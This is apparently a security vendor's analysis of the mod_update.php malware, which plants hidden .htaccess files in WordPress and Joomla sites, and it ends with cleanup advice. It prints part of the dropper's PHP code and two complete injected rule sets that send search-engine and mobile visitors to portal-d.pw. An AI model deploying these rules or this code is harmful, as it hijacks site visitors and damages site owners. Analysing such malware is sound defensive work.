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Malicious redirects generated with mod_update.php to WordPress or Joomla .htaccess file

Sometimes you might catch down in your web-browser’s status bar that a foreign website is attempting to load content on your website, or you might notice a web-browser warning. These can be common signs of a .htaccess hack, you might also notice that you’ve fallen in search engine rankings. The typical reason for this is that hackers will attempt to hack your .htaccess file so that when search engine bots crawl your website they are redirected to the website that the hacker has put in place instead of your own.

mod_update.php

We found at this mod_update.php malware try create .htaccess files in Joomla or WordPress installations, if it found index files in specified directories.

$wp = array('wp-admin','wp-content','wp-includes');
$jm = array('administrator','cache','components','images','includes','language','libraries','logs','modules','plugins','templates','tmp','xmlrpc');
$exc = array_merge($wp,$jm);

//Vars
$dir = path_finder();
$what = array('.htaccess');
$signature = array('index.php','index.html','index.htm'.'index.phtml','index.shtml');

#Function Path_Finder
function path_finder(){ ... }

#Function Edit
function edit($path,$content,$str){ ... }

#Function Smartscan
function smartscan($dir){ ... }

function search($dir,$content,$str,$what,$signature,$exc){
$d=array();
$d1=array();
$d2=array();
$res=smartscan($dir);

if(count(array_intersect($res,$signature)) > 0 && !in_array($what[0],$res)){
   if(file_put_contents($dir.'/'.$what[0],$content)){
      chmod($dir.'/'.$what[0], 0644);
          echo 'Created .htacces in >>'.$dir.'/'.$what[0].'<br />';
      }
   else{
      echo 'Cant create .htacces in >>'.$dir.'/'.$what[0].'<br />';
      }
   }

//add dirs to massive 1
.
.
//scan 1-deep files
.
.
#Exec Script
search($dir,$content,$str,$what,$signature,$exc);

Redirecting users coming from search engines to malware

This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site.

Note! they’v added hundreds of white spaces before the RewriteCond to make it harder to see in a text editor.

# BEGIN WORDPRESS
#<IfModule mod_rewrite.c>
#RewriteEngine On
#RewriteBase /
#RewriteCond %{REQUEST_FILENAME} !-f
#RewriteCond %{REQUEST_FILENAME} !-d
#RewriteRule . /index.php [L]
#</IfModule>
# END WordPress

.
.
.
.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*baidu.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*youtube.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*qq.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*facebook.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*twitter.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*blog.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*myspace.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*linkedin.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://portal-d.pw/XcTyTp [R,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google, twitter, bing (or any search engine), it will redirect the user to a page (in this example http://portal-d.pw/XcTyTp).

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://portal-d.pw/XcTyTp [L,R=302]

How to fix it?

Fixing this redirection is very simple, you just need to delete these entries from your .htaccess file (you can have more than one, so check all your directories) and you are set. However, you still have to verify that you don’t have anything else hidden in there, so do a full scan of your web site to make sure you are clean.

Use Malware Expert Signatures to detect this malware from PHP files and clean them up.

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